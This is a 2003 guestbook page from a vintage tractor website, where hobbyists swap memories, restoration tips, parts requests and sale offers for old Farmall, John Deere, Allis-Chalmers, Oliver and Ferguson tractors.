David Swanson wrote on Sunday, July 06, 2003 (PDT):As a teenager in the 60' I found a rusted up 1935 John Deere D out in somebodies woods attached to a old sawmill. I managed to talk the owner out of it for $35. I and another guy managed to get it to run and I had a lot of fun popping around the farm on it. Sold it in 69 for $50 so I could use the money to buy books for college. Sigh, wish I had kept it. A warning to youthful owners is to not try speed shifting the thing, you can really jam the gear works doing that.
Ed Wagner wrote on Saturday, July 05, 2003 (PDT):I grew up around 3 GP's, 1 on all rubber with lift and lights,1 on steel with extension rims on rear, 1 for parts.The one on steel was what Ilearned to plow with, on "new" ground (tore down a woods), couldn't get a flat.Grandad bought the one on steel new in 1930, My uncle finally sold it (partially restored )in 1990.
Dick wrote on Saturday, July 05, 2003 (PDT):Trying to locate historical and restoration information regading an Allis Chalmers 3 wheel golf cart with an 8 horse Kohler gas engine.
Alvin wrote on Friday, July 04, 2003 (PDT):I have an International 300 with an TA, 2 point hitch and single front tire. We are getting to an age when we have too much around. We are willing to sell if anyone is interested. We live in central Idaho.
Roy Wolf wrote on Thursday, July 03, 2003 (PDT):This was a wonderfully powerful tractor for its day. I drove one for my youngest brother disking ahead of planter. He had two XT-190's that I had driven; I was most proud when he had me working with this tractor. Today there is a new generation of tractors and farmers! We just keep getting bigger and biger....makes me think of the dinosaurs or pehaps the huge steam power engines of l00 years ago..........
S. Steele wrote on Tuesday, July 01, 2003 (PDT):In the early 1960's my father-in-law gave my husband and I an old red rototiller. It is has sat, unused for low these many years. The large emblem (what's left of it} has the letters M.E. blazing on the right side of the cover over the tiller blades. It appears that it was made in Wisconsin. And, the E in the title is for engineering. I cannot make out the name that the M stands for. Can you help me. I appreciate your time and efforts in advance. Sincerely, S. Steele
Shirley and Roy Martin wrote on Tuesday, July 01, 2003 (PDT):Have an old cub for 2 years, love it, handy on small property. Where do I find serial and model #? Having carbureator problems, now water fan assembly needs replacing. Need to find detailed info on this tractor!
Jack HANES wrote on Tuesday, July 01, 2003 (PDT):Looking for Hood Name Plates for a T5 International Crawler Also would like information on a Farmall A tractor has no hydraulics. whaT are a piston and sleeve assembly worth for this tractor? Any info appreciated
B.J.Garigen wrote on Monday, June 30, 2003 (PDT):Could someone out there tell me how much my 1948 8N weighs. I want to buy a trailer to transport it.
jared klier wrote on Sunday, June 29, 2003 (PDT):How much horsepower does a Farmall B have?
jared klier wrote on Sunday, June 29, 2003 (PDT):How much horsepower does a Farmall B have?
Navindran Naiker wrote on Sunday, June 29, 2003 (PDT):i want to buy a Messey Forgusan or a Fordtractor.
Blaine Schettler wrote on Saturday, June 28, 2003 (PDT):My mom has a 1944 WF and wants to sell it, It runs but like most tractors that age the paint has faded and tires have wear. Looking for a web site that gives prices
RJ wrote on Friday, June 27, 2003 (PDT):any boudey how has A AC G restored for sale or trade. for1944 farmaalH
Jim wrote on Friday, June 27, 2003 (PDT):I have an 1944 I4. A few IH guru's tell me it is rare. I also see a couple of others on this forum looking for info. If anyone has more insight on this tractor please contact me. My tractor runs good and has had no major work done to it. I have owned it for nearly 26 years and I would like to find some pics of an original one or restored so I can pe-paint mine back to original. Currently this tractor is a deep, non IH red and has W-4 decals. It was this way when I got it as a birthday present when I was 10. A few guys have told me that these could have been a variety of colors depending upon who purchased the tractor new. Some were yellow, orange, grey and even the red I mentioned. Any help would be appreciated Thanks
bryan bayliss wrote on Wednesday, June 25, 2003 (PDT):there are many things you remember in life, the sound of a 1066 turbo as she sits there and whistles to you and the smell of the 856 as she sits in the shed waiting to go to work and the thick rich black smoke from an 806 deisel as u punch the trotlle when you go up a big hill with your wagons full of grain. a man has thre loves in his life a love for his children a love for his wife and a love for his tractors, amen.
Rob Wells wrote on Tuesday, June 24, 2003 (PDT):My dad is restoring his dad's 1938 model 70RC and is looking for side skirts. Anyone know where we can track some down? Much appreciated.
Don Bost wrote on Tuesday, June 24, 2003 (PDT):I need a starter and water pump for a 41 oliver. Can anyone help or steer me in the right direction?
Lisa wrote on Tuesday, June 24, 2003 (PDT):I have ac G for sale in North Carolina in working condition.252-903-6626
Travis guzel wrote on Tuesday, June 24, 2003 (PDT):You have a nice tractor. I have one but it isn't as sharp as yours.
Richard Clark wrote on Monday, June 23, 2003 (PDT):Iam looking to buy a F-12, with the rear steel wheels and a single steel front wheel. I am also looking for one with a cultivator. My family had one, but my Aunt sold it after my uncle died about 10 years ago. If anyone knows what happened to this tractor, please email me, it was bought in southern Indiana.
david mainellis wrote on Sunday, June 22, 2003 (PDT):My parents bought a farm about 15 years ago and it came with a dexta tractor. Ido not know what year it is but think 64.I am glad to find this site as I am the one who fixes this tractor when it has a problem. We find this injected diesel to be a great machine that keeps going, and going, and going....... How do I find out what year it is , and does anyone have an idea why the lift boobs up and down?
Rick Clark wrote on Sunday, June 22, 2003 (PDT):I have had my I have had my AC 160 for about 10 years. Parts are hard to find and I need the 90 degree tachometer adapter that fits on the back of the block which the tach cable attaches to. If anyone has on available please contact me. With regards to transmission, Greens Tractor Salvage here in North Carolina has one. I am currently at a remote site and will provide address and phone number upon my return to my home system.
galen miller wrote on Saturday, June 21, 2003 (PDT):WQhere can I buy prarie gold mm paint?
Leland Finley wrote on Saturday, June 21, 2003 (PDT):I purchased an Oliver 70RC with Factory dual exhaust. It was restored by an implement dealer and has been "pulled" enough to seriously wear the rear tires. What does a new set of 13;38 tires cost these days?
BLM wrote on Friday, June 20, 2003 (PDT):I have a 1937 farmall F-20 orchard tractor. Does anyone else have one and know were to get parts.
Steve wrote on Thursday, June 19, 2003 (PDT):My grandfather owns a model g and loves it. I would really like to find him a manual for it. IF anyone has one or could make a copy please email me with the information.
Brad Kingdon wrote on Thursday, June 19, 2003 (PDT):If they're are any MD's or Super MD's out there I would be interested in buying one. June 19, 2003
Keith wrote on Thursday, June 19, 2003 (PDT):Does any one know where to find model tractors that I can put together. Thanks, Keith
Keith wrote on Thursday, June 19, 2003 (PDT):Does any one know where to find model tractors that I can put together. Thanks, Keith
JON BROKAW wrote on Wednesday, June 18, 2003 (PDT):QUESTION FOR ANYONE. WITH THE REGULAR OLICER 77 ROWCROP DIESEL, WHERE DOES THE DIESEL POWER STICKER GO? DOES IT GO IN FRONT OF THE MUFFLER ON THE SIDE OF THE HOOD? THANKS. JON
Steven R Barry wrote on Sunday, June 15, 2003 (PDT):This Message is for Mark Caylor, Sorry Mark But I sold My Case Model VA Tractor Last Month. Thank You For Your Message About It. Hope You Get This Reply.. Steve
Bobby Whittenburg wrote on Sunday, June 15, 2003 (PDT): I was wondering what the average cost of A D15 series11 would be if I could find one?
Mark Fowler wrote on Sunday, June 15, 2003 (PDT):Own a 1956 300U. When hot, starts missing and backfiring. So a complete tune-up was done, including oil change. Again, once hot, does the same thing. I must then wait until cool in order to start again. I did notice a slight anti-freeze leak. Could this be the problem, or a bad coil? Please Help. Thanks.
Louis A.Torres wrote on Saturday, June 14, 2003 (PDT):Hello there I,m writing you to see if you could send me some photos or more information on how to restore my 1948 CUB. I bought my cub for $75.00 from a small Texas town called Papalote,this tractor looks like it is ready for the scrap yard in everybody eyes but mine.I currently don't have an e-mail address but you can send me this information to my P.O.BOX # which is P.O.Box 830-948,San Antonio,Tx.78283-0948.Thanks for everything.
Lee Read wrote on Saturday, June 14, 2003 (PDT):Looking for a carb. kit for MH44 with Cont. 260 engine, Zenith carb. Thanks
Ernest F Janus wrote on Friday, June 13, 2003 (PDT):Hello Folks, We presently own two John Deere R diesel tractors and would be interested in selling them in the future to anyone, please contact us by e-mail.
Paul Hawkins wrote on Friday, June 13, 2003 (PDT):i OWN A 1944 John Deere LA, serial no. LA-6846. This tractor has culivators and single bottom plow. All are in excellent looking and running condition. I am interested in selling as I am moving out of state but do not know the value. Looking for info
Colin MacDonald wrote on Wednesday, June 11, 2003 (PDT):My son & I have just finished restoring a 1945 W4 which hadn't been started since 1963. With the magneto overhaualled a new back tyre 7 a coat of IH paint & she's like new. My father-in-law bought it new in 1946 & I drove it in the 50s. W4s & W6s were very popular in New Zealand particularly on grain growing farms. The collecting of 'old Iron' is very popular here.
dennis wrote on Wednesday, June 11, 2003 (PDT):just finished my 39B, it took 2nd last wk in a show not bad for first time out
AFR wrote on Wednesday, June 11, 2003 (PDT):JACK NACHAMKIN - YES ther was a high crop cub built. there was also a Lo Boy built. He may think he has a High Crop cause all he has ever seen are the Lo Boys. Check out atis.net or farmallcub.com for specific info on the cubs.
Jason Maples wrote on Wednesday, June 11, 2003 (PDT):Also, looking for a complete 2 row planter, for my G. If anyone has one or knows of one, please email me. Thanks, Jason
Jason Maples wrote on Monday, June 09, 2003 (PDT):My father and I restore AC's. Mostly G's. We have restored 3 so far and have 6 that we are restoring now. 5 of these will be for sale and one I'm keeping to restore and show in the future. We know a good bit about G's, but could always know more. If anyone needs any help or parts or implements for G's, please email me and I will let you know what we have or don't have or can find. I'm about 50 miles north of where they were originally built. Thanks, Jason
Shah wrote on Monday, June 09, 2003 (PDT):I realy love farmal Cub or supper A but I wonder if they use a 3 point hitch. I will be mowing and tilling with it . I wish there was a way to covert these beatifull tractors to shuttle shift for mowing. You may say I am crazy but I am trying to be practical. Hwo wants to push clutch and shift gears to mow grass. How many tractprs can yoy have before the wife gets on your...?
j. g. major wrote on Monday, June 09, 2003 (PDT):I just bought a Case 1948 D orchard tractor. The sheet metal that goes over the wheels is missing. Who has the best source of parts for one of these tractors? I would also like any information you could pass along about this model tractor.
Jonathan Reed wrote on Sunday, June 08, 2003 (PDT):My dad and i have recently started collecting old case tractors we have on VA and recently picked up a couple of d cases, great tractors
Mike Mulligan wrote on Sunday, June 08, 2003 (PDT):DISTINGUISHING FEATURES BETWEEN WD AND WD45. These tractors are very much alike, almost identical, but there are a few ways to tell the difference. If your tractor is original this shouldnt be a problem. The easiest way to tell for sure is to look for the serial number which is located on the back of the tractor above the step on the back of the differential housing. Before the number it will say either WD or WD45. Thats easy enough. There are other differnces. Starting from the front of the tractor and working your way back; Many of the WDs had a small hole in the right side of grill that surrounds the radiator. This hole was for a shutter that controled the flow of coolant to make the engine run hotter or cooler. 45s usually didn't have this. The hole is located almost at the top on the right side of the radiator(not on the wire mesh grill in front but just around the corner on the side. A much larger differnce is the engine. WDs had a 201 cubic in engine that was usually equiped with magneto ignition. The WD45 had a 225 cubic inch engine which usually had a distributer ignition. The hydrolics were similar but the WD45 had traction booster and there was a gauge below the gas tank that said traction booster on it an when you lifted something you can see the needle on the gauge move. Another big differnce is the transmission however there is an exception. WDs prior to 1953 had a sliding gear transmission with a straight shift lever. In 1953, the last year for the WD and also the first year for the WD45 the transmission was changed to a constant mesh transmission which had a curved shift lever. The WD45 had snap coupler as standard equipment and the WDs did not. However snap coupler kits were made available for the WD so it is not uncommon to see a WD with snapcouple. I hope this information is helpful. It is correct to the best of my knowledge but remember there can be exceptions, especially if the tractor is not original. These tractors are so much alike and many parts can be interchanged. You may find out that half of you tractor is a WD and the other half is WD45. I have a WD45 with a D17 engine and a WD transmission and rear end. GOOD LUCK!
Mike Mulligan wrote on Sunday, June 08, 2003 (PDT):We have a WD-45 on our farm that we use alot. This tractor is unique because it is 3 tractors in one. After the original engine bit the dust, an engine from a D17 was put in because it was cheaper. So now it has more power and is faster on the road and also on the pto because the governed engine rpm is now 1650 compared to the original rpm of around 1400. Also after many years the transmission jumped out of gear(a common problem with allis chalmers). So we put the transmission of a WD on our tractor. The WD used a sliding gear transmission which after years of grinding and abuse will not jump out of gear(I know because we also have a WD and that has never jumped out of gear). However in 1953 the WD transmission changed to a constant mesh transmission that was also used on the WD45 which came out later in the same year. These transmissions had the curved shift lever instead of the straight lever of the previous transmissions, and these will jump out of gear. Allis tractors made after the WD45 up until the 7000 series tractors all(almost all)had this problem. The reason for this is usualy due to grinding the gears. When the transmission is new the teeth that engage when you select a gear have square edges on them. However if you grind the gears these edges become rounded off causing a curved edge which allowes the "collar"(I am not sure of the correct name of this part but it connects the gear to the output shaft) to slide off of the gear, putting your transmission into neutral. If you have an Allis that does not jump out of gear, be gentle and take you time so you do not grind the gears and it probably never will jump out. We also have an Allis Chalmers 200(probably my favorite tractor) that my dad bought used in the mid to late 80s. This tractor did not jump out of gear when he first got it. Unfortunately my grandfather and uncle always ground the gears when they drove it and it wasn't long before it jumped out of all the gears and the past few years we hardly used it. This past year my dad had the transmission rebuilt(which was very expensive) and now it is like a new tractor. We want to keep it this way so my dad and I will be the only ones driving it. On our farm we have all Allis Chalmer; WD, WD45, CA, D17, D19, 200, 7020, and a 6080. Anyone who wants to know the year of their WD or WD45 look for the serial number on the back of the tractor above the step on the differential housing. I have a book that tells the production information like what serial numbers were made in what year. If you get a book like this or if you go to an Allis Chalmers dealer you should be able to find out the year of your tractor if you have the serial number.
Dwaine Heiser wrote on Saturday, June 07, 2003 (PDT):402-443-4803
Dwaine Heiser wrote on Saturday, June 07, 2003 (PDT):I have parts and rebuilt mags for case.Nobody ceaper.402-443-4803
Dwaine Heiser wrote on Saturday, June 07, 2003 (PDT):I have parts and rebuilt mags for case. Nobody ceaper.
John Ullrich wrote on Saturday, June 07, 2003 (PDT):My 1948 VAO ia about finished. I need a full seat assembly; have all else.
Bert Pinson wrote on Saturday, June 07, 2003 (PDT):After months of looking,I've finally decided that the MT is the perfect tractor for cleaning up my acreage. Anyone have an MT that needs a new home? Thanks.
Kyle Gray wrote on Friday, June 06, 2003 (PDT):I always thought the L and LA tractors looked interesting i bought one from my uncle a few years ago and i am almost done restoring it. I love it and it is a great conversation piece.
GP wrote on Thursday, June 05, 2003 (PDT):ATTN; Jim Lockhart Do all serial numbers match, block (left side), frame rail (left side, top of rail near the clutch housing) and the serial number plate on the tool box? If the numbers don't all match it's possible multiple tractors were put together to make one. The serial number you indicate is a 1935. Perhaps the wheels rusted out and a set from a late model 20 were put on this tractor. Also, a 1935 F-20 would have been painted Farmall Gray originally, they weren't painted red until those produced after Nov 1, 1936. What color is it painted now? If it's red, look for signs of gray underneath. Most F-20's that were repainted in the 40's were repainted red (to match the letter series tractors and later F series).
TOM SMITH wrote on Thursday, June 05, 2003 (PDT):We have a Ferguson that we thought was a TO-30. As i was checking into it i found out it was a TO-20, from the serial number on the motor, Z129. The tag number on the steering column is TO 64598. Is anyone able to tell me what year it is or how to find the year?
C. L. Standley wrote on Wednesday, June 04, 2003 (PDT):My father bought his first tractor in 1942, a unstyled 1935 John Deere D. It had steel wheels and two forward gears. The next year, he bought a 1943 Styled John Deere D, again on steel wheels. This tractor had three forward gears and was faster than the older one. This is the first tractor I ever drove, at age five. My father had to keep from over tightening the clutch so that I could drive it from one place to another. I was not allowed to pull anything until I was about nine years old.
C. L. Standley wrote on Wednesday, June 04, 2003 (PDT):My father bought his first tractor in 1942, a unstyled 1935 John Deere D. It had steel wheels and two forward gears. The next year, he bought a 1943 Styled John Deere D, again on steel wheels. This tractor had three forward gears and was faster than the older one. This is the first tractor I ever drove, at age five. My father had to keep from over tightening the clutch so that I could drive it from one place to another. I was not allowed to pull anything until I was about nine years old.
C. L. Standley wrote on Wednesday, June 04, 2003 (PDT):My father bought his first tractor in 1942, a unstyled 1935 John Deere D. It had steel wheels and two forward gears. The next year, he bought a 1943 Styled John Deere D, again on steel wheels. This tractor had three forward gears and was faster than the older one. This is the first tractor I ever drove, at age five. My father had to keep from over tightening the clutch so that I could drive it from one place to another. I was not allowed to pull anything until I was about nine years old.
Ron Veerman wrote on Tuesday, June 03, 2003 (PDT):My father picked up his G at an auction in the early 1960s for our market garden.I am now the proud owner and am happy to say i still use it quite regular.I am not sure of the year any info that i could receive on it would be greatly appreciated. Tractor#G13618 Also could you tell me what the oil filter # would be.Thxs in advance
audrey deschepper wrote on Monday, June 02, 2003 (PDT):I bought an old Farmall M 1941, power steering. Runs good but is missing the draw bar or could be called a stablizer bar, on the 3 point hitch. I also need a mower, disk, and harrow...no more than 5 to 8 feet wide. Anyone out there have any of these items. Audrey
jeff pelletier wrote on Sunday, June 01, 2003 (PDT):i`ve got rowcrop 70 (1939) one reverse. shes abuot 95% i`m looking for side curtians in/ex gasket, head gasket, steering wheel. what a great site this is! later folks.....
mickey shaw wrote on Sunday, June 01, 2003 (PDT):have 1935 f12 need complete mag assm and color scheme i am ready to get this bad boy running thanks for any help
LARRY DAVENPORT wrote on Saturday, May 31, 2003 (PDT):LOOKING FOR SPRINGS CLIPS FOR GRILL SCREEN 8N FORD FARMING
LARRY DAVENPORT wrote on Saturday, May 31, 2003 (PDT):LOOKING FOR SPRINGS CLIPS FOR GRIL SCREEN 8N FORD
Bob Smalley wrote on Saturday, May 31, 2003 (PDT):Just bought a MH Pony. Can't find the PSA # anywhere. Starter will not engage. New battery,ignition switch checks out,new battery cables,still no starter engagement. Need some help from a Pony gear head.
Joe Labiendo wrote on Friday, May 30, 2003 (PDT):I have a Super AV, i am looking for aftermarket 3 point hitches and i want to mount a brushog mower on it. Has anybody done this? Is the offset PTO a porblem? thanks
Richie wrote on Friday, May 30, 2003 (PDT):I have Ford 1952 8N Tractor and I would like to buy some accessories for it. Woods mower, auger etc. Everything seems to work accept when I push the clutch in it releases and lowers anything I have hanging behind it. I don't have a manual for it, there is a small lever that doesnt seem to work. Is that what locks the height? Would you have a manual for this tractor? If I can figure it out I would love to buy more things for it Thank You R.Ganns
ben wrote on Friday, May 30, 2003 (PDT):That tractor is not a Farmall A it is a farmall AV
David Sprague wrote on Thursday, May 29, 2003 (PDT):As a teanager I was allways inpressed with these tracters .They could comand your respect just by sitting still.I'm now in the market for one perfer the north east,us
David sprague wrote on Thursday, May 29, 2003 (PDT):I would like to find one for sale in the north east
Wayne Sutton wrote on Wednesday, May 28, 2003 (PDT): If your battery charges too much can you place a jumper or depolarize the system on the 6 volt generator/regulator system and how to install same?
Bob Meyer wrote on Monday, May 26, 2003 (PDT):A friend of mine has an Oklahoma title to a Rumley tractor. Dated as purchased in 1919 and has an engine number of 16011. Does this have any real value? What more should this tell me? like what model it was and why just the engine number instead of serial number?
Tom Marabello wrote on Sunday, May 25, 2003 (PDT):I just acquired a later model 70 that I used quite a bit in 1995 on my hay farm I had then. I have my nephew working on it for a restoration and use project. When it is done we will work it some, as it is a pleasure to operate, and an absolute powerhouse for it's size. Rest assured, you Oliver fans out there, we won't abuse it; we will probably pull a scew treader and bailer with it, and that's about all. Tom M.
Tom Marabello wrote on Sunday, May 25, 2003 (PDT):I just acquired a later model 70 that I used quite a bit in 1995 on my hay farm I had then. I have my nephew working on it for a restoration and use project. When it is done we will work it some, as it is a pleasure to operate, and an absolute powerhouse for it's size. Rest assured, you Oliver fans out there, we won't abuse it; we will probably pull a scew treader and bailer with it, and that's about all. Tom M.
william clapp wrote on Sunday, May 25, 2003 (PDT):my father had 70 row crop oliver my brother and i was raised on that sweet running tractor. my father traded several years ago ,sure glad i found on my computer
Clay Zigler wrote on Sunday, May 25, 2003 (PDT):I have owned a Farmall B for a little whiie, but I have no idea as to how to check or even change the oil. Can anyone give me a play-by-play way of doing this?
jeff pelletier wrote on Sunday, May 25, 2003 (PDT):hello all you mh folks, i found a mh 33d, a preaty straight tractor. any tell me some type of value?
Ashley & Crystal Brooks wrote on Friday, May 23, 2003 (PDT):We have recently purchased a beautiful F-12. Could you help us determine what year it is? The serial # is FS81382- we think that may make it a '36 model. If so would the color of the tractor be red or battleship grey? Also this is our first experience working with a magnetos ignition. We are trying to get the "ole girl" running and need to know where to set the timing on the magnetos. If there is any way you can help- suggestions, directions to go for answers- we would greatly appreciate it!
landon a laub wrote on Friday, May 23, 2003 (PDT):I have a 1955 TO-35 that my father bought new. It has 3,200 and some odd original hours on it. He also bought the 3-bottom plow and the cultivators. The cultivators came with the T0-20 that I have that he also bought new. I even have the original wheel weights for the TO-35. He used it as his main tractor back then to farm 92 acres. The TO-20 is siezed up and has been outside most all of it's life. The TO-35 is still working but right now I need a radiator and the generator rebuilt. I also have the manure loader. They sure are and were great tractors. I am 51 years old now and my TO-20 was the first vehicle my dad taught me to drive(steer)while he and my uncle picked up hay bales to load to wagon in the hayfields...... Just thought I'd share a bit of my early life with you others Ferguson lovers.
Ward Hollingsworth wrote on Wednesday, May 21, 2003 (PDT):I forgot to tell those interested about the paint number for the rustoleum fire hyd. red paint it is #2164 you can also get it in aerosol cans the number for it is #1210 be sure to use gray primer thought, otherwise it turns it to dark.
Ward Hollingsworth wrote on Wednesday, May 21, 2003 (PDT):I have just finished partially restoring a 1951 44 standard. The paint color I used if anyone is interested was Rustoleum Fire Hydrant Red, and Pittsburg Chrome Yellow, Both paint colors are so close to the original color it's amazing. Also I pull it in my local classic tractor club. It has won me several ribbons,Man what a kick in the tail!!!
Donald wrote on Wednesday, May 21, 2003 (PDT):We just bought a farmall not for sure what it is. Where can we find the serial, model number. It came with a front end loader and we having problems with the hydraulics on it. Can anyone tell us what kind of pump it has and what kind of fluid it needs? It looks alot like this one
Marilyn Torgrimson wrote on Wednesday, May 21, 2003 (PDT):I have a MH 81 tractor that I would like to have restored. Is there anyone in Northern Minnesota that would be able to do this? Also I am not sure what year that it was made. The serial number is 6333A. Can anyone tell me the year. I feel that it is probably a '46.
Terry Stover wrote on Tuesday, May 20, 2003 (PDT):17 Years ago I purchased an old tractor cheap, as the add said. But only recently did I realize it is a Cockshutt 540. I have used it on my small horse farm the past 17 years, and am now interested in restoring it. Is there a place that I can see photos of a 540 of how it should look and the paint colors?
alster wrote on Tuesday, May 20, 2003 (PDT):My Grandfather bought a 1930 model brand new in 1931. My father still has the bill of sale for this tractor. It sat in a shed on my uncles farm for 25 years sinking into the dirt floor when my father decided to get it out and clean it up for the upcoming centennial parade. He had a rebuilt mag that had been sitting around for years and found some plugs that weren't in too bad of shape. We dug a hole in the front so we could crank it and crank it we did. I was 15 years old and the time and kept telling dad, "Let's just hook a chain on it and pull it out so we can work on it!" Dad said, "I backed it in here. I'm gonna drive it out!" And sure enough, after a couple of hours of cranking, it fired up and he hopped on it and drove her out into the sunlight for the first time in 25 years. Now, 34 years later, it's been sitting in a shed on the farm I grew up on and has not run for probably 15 years at least. Dad did a lot of work on it and took it to several parades during the 70s and early 80s. It WAS Massy red with gray wheels, but he repainted it the correct "tool gray" after that first centennial parade where he drove it through in all it's dilapidated glory. Wonderful tractor and dad has lots of memories about it. (not all pleasant either!)
Ray O Malley wrote on Monday, May 19, 2003 (PDT):This is a shit tractor i think u should get a new 1
Dave O ' Malley wrote on Monday, May 19, 2003 (PDT):I think that this tractors is shit and u should get a new tractor
toy farming with ih red wrote on Sunday, May 18, 2003 (PDT):i have a toy farm. all my tractors are red. i have a 560, 660, 2 706's,3 806's, 3 1206's, 2 856's, 1 826, 1 1026, 2 1456's, 2 966's, 8 1066's, 10 1466's, 1 1566, 1 1086, 4 5288's, 2 2+2's, 2 stigers, 7130, 4 7140's, mx200 to 235, ertl mis print on 235, and all 14 jd do all the stuped stuff like agur, blow sileg etc. i have a cattle confinment and hog confinment. hog has logon and jd punps munuer. cattle is cement and jd feeds the cattle. i am 14 and ever one thinks i am nuts. but i don't like football or any other sports. but i like tractor pulling, working on displays, and nascar. but i love to pull tractors. i have 2 minirods 1 stock and it name is tundra toy and the other it a miniature 1066 with 750 honda and it name is overtime. so my motto is if it ani't red don't hook it to the sled and nothing kills a deere like a magnum. i live in nw ia and love ih red. my dad farms and has stock cows. we farm with ih red. we have an 806 with 18000 + hours. its motor has never has been toucht, but the rerend has been gon through. we trated are 1486 of in 1991 for a 4640 it had a cract block and was puting out 200 horses. then it blow up. 1 BIG mistake. now we have a nother 1486 but i is a newer one and a red power, and still have the 4640. my faverets are the 806,856,1066,1456,1466,1068,1486,5288,7140 and last but not lest the frist tractor that started it all for my grandpa the F-20. i also am the puller man, buty red and junk jds, ih power,overtime,806 man, and on 560 page and am 806 man. so go ih red and i my colors are ih red.
toy farming with ih red wrote on Sunday, May 18, 2003 (PDT):i have a toy farm. all my tractors are red. i have a 560, 660, 2 706's,3 806's, 3 1206's, 2 856's, 1 826, 1 1026, 2 1456's, 2 966's, 8 1066's, 10 1466's, 1 1566, 1 1086, 4 5288's, 2 2+2's, 2 stigers, 7130, 4 7140's, mx200 to 235, ertl mis print on 235, and all 14 jd do all the stuped stuff like agur, blow sileg etc. i have a cattle confinment and hog confinment. hog has logon and jd punps munuer. cattle is cement and jd feeds the cattle. i am 14 and ever one thinks i am nuts. but i don't like football or any other sports. but i like tractor pulling, working on displays, and nascar. but i love to pull tractors. i have 2 minirods 1 stock and it name is tundra toy and the other it a miniature 1066 with 750 honda and it name is overtime. so my motto is if it ani't red don't hook it to the sled and nothing kills a deere like a magnum. i live in nw ia and love ih red. my dad farms and has stock cows. we farm with ih red. we have an 806 with 18000 + hours. its motor has never has been toucht, but the rerend has been gon through. we trated are 1486 of in 1991 for a 4640 it had a cract block and was puting out 200 horses. then it blow up. 1 BIG mistake. now we have a nother 1486 but i is a newer one and a red power, and still have the 4640. my faverets are the 806,856,1066,1456,1466,1068,1486,5288,7140 and last but not lest the frist tractor that started it all for my grandpa the F-20. i also am the puller man, buty red and junk jds, ih power,overtime,806 man, and on 560 page and am 806 man. so go ih red and i my colors are ih red.
r.page wrote on Saturday, May 17, 2003 (PDT):can anybody advise where overhaul kit or parts are aviable other than john deere for a gas 1010 john deere. need help thanks.
Albert Bennett wrote on Friday, May 16, 2003 (PDT):In the '60'a M H 22and M H 44 D. They were great tractores.If I were to name a fault with the 44 D it would be with the starter.I had trouble with the bendix spring breaking.I would have to replace the whole starter.I lived within 50 miles from the bendix plant where they were made. But i could not buy them there.I'm retired in Fl. now.
rick wrote on Friday, May 16, 2003 (PDT):what is a white cub worth?
charlie wyman wrote on Friday, May 16, 2003 (PDT):I have a Ford 2000 4-cyl., 5-speed, mid 1950s I think. It sat outside (tarped) all winter, and two weeks ago I started it up and when I depressed the clutch nothing happened. I frigged around and started it in gear and went back and forth in the driveway, and finally it freed. Today, (2 wks later) the clutch won't engage again. I drove up the road about a mile all the time riding the clutch and trying to pop it. Nothing freed it up. Has anyone got any suggestions on how to solve my problem? Any help will be appreciated. Thanks.... Charlie
LARRY FLANAGIN wrote on Friday, May 16, 2003 (PDT):I HAVE A 1927 REGULAR IM REBUILDING THAT WAS MY DADS NOT BEING RUN FOR 45 YEARS IT IN PRETTY GOOD SHAPE
Val Hall wrote on Thursday, May 15, 2003 (PDT):I have my grandfathers 816 that i restored in 92 it was bought 1922 but is a 1921 model i can make the sheet metal and fenders using mine for a pattern
Paul wrote on Wednesday, May 14, 2003 (PDT):I have just bought my 2nd Allis Chalmers G I cleaned it up a bit and checked for the serial no. in the location I know it should be by the shift lever in the area so specified, guess what no number at all and no grinding or shaving of the metal in that area. Now what next?
Kevin Rowe wrote on Wednesday, May 14, 2003 (PDT):Just starting to restore a 1937 F-20. I am needing to know what paint colors was used on the tractor and the wheels. I am also looking for two rear tires size 12.4 x 36
Louis Machado wrote on Wednesday, May 14, 2003 (PDT):I have a 8n, i'm looking for a par off tires where can i find te correct size for him, Any information would be appreciated, thanks.
Duane wrote on Tuesday, May 13, 2003 (PDT):hi there is a fine old gentleman who farms south of Sunburst Montana. he has used R s for farming his place i bet for over 50 years and he is still out there. I drove by him today he was putting in his crop with it, neither of them will give up. he gave me a hearty wave. wonderful mand no old folkds home for him or his tractor
Steve Sorensen wrote on Tuesday, May 13, 2003 (PDT):For sale, 1954 R, 23.1-26 rubber, fender extension's, brass tag, shutter's, pto and hydraulic's. Excellent all original tractor. Both motor's run good. 4750.00. 319-626-3075
Jack Nachamkin wrote on Tuesday, May 13, 2003 (PDT):Someone in New Jersey claims he has a Farmall Cub Hi-Crop tractor for sale for $4200. Was such a machine built? The machine looks exaclty like a Farmall Cub.
Herb Poettcker wrote on Monday, May 12, 2003 (PDT):Hello everyone. My dad has a Cochshutt 40 that has been in the family for decades. This tractor has baled more hay bales than I can imagine. Would like to restore but am missing left grill half. Anyone with info would been greatly appreciated. Thank-you.
Dennis Godi wrote on Sunday, May 11, 2003 (PDT):Does anybody know where I can find/buy a cultivator for allis G model??
Jon Lees wrote on Saturday, May 10, 2003 (PDT):I drove an 830 in the spring of 1976 on my cousin's farm at Athabasca,Alberta.I spent best part of 4 weeks driving it, mainly with a 12foot chisel plough behind, only got struck the once. It was my first trip to Alberta, and my cousin's first crop, a spring to remember. Visited there last summer, they are now running a JD9400, a little bigger than the 830 but does not hold the happy memory. Would like a day working one again one day, all the best, Jon Lees.
carl kitchen wrote on Friday, May 09, 2003 (PDT):nice to see i jsut bought one and don't know what is is, cast front wheels round spokes on the rear 12 '' wide no rocker cover and i don't see any ident
Jim Lockhart wrote on Thursday, May 08, 2003 (PDT):I am in need of some info,if anyone could help it would be appreciated.Ok to start off I bought what was said to be a 1939 F 20,serial # "FA 14615" and according the this sites serial # page its a '35.But the back rims are that of a 39 according to all the pics I have seen.If you can help or need a pic of it please email me.Thanks
David Reise wrote on Thursday, May 08, 2003 (PDT):Have a Pony (with hydraulics) I've restored... have cultivators, and left and right hand plows, I need the small set of linkage that selects the drop of either the left or right hand plow. linkage is located on left and right side to rear of fender.. any leads contact me direct thanks in advance. David Reise Portsmouth Rhode Island
David Reise wrote on Thursday, May 08, 2003 (PDT):Have a Pony (with hydraulics) I've restored... have cultivators, and left and right hand plows, I need the small set of linkage that selects the drop of either the left or right hand plow. linkage is located on left and right side to rear of fender.. any leads contact me direct thanks in advance
texmm2 wrote on Thursday, May 08, 2003 (PDT):I have a tractor to restore which looks like a F-12, but not sure. Has Int'l magneto, trans/engine cpl'd w/univeral joint, a Vortox air cleaner pat'd 1922, Steel rear whls. steel narrow dual fronts, 4 cyl eng. Have pictures to send if any one can help.
John Anderson wrote on Wednesday, May 07, 2003 (PDT):My son recently purchased a 1947 (Serial # says 1947) model M. He informs me that it has a torque amplifier. Can anyone shed any light on this. How can this be as the torque amplifier was not made available until production of the Super M. Your help is appreciated. Thank You.
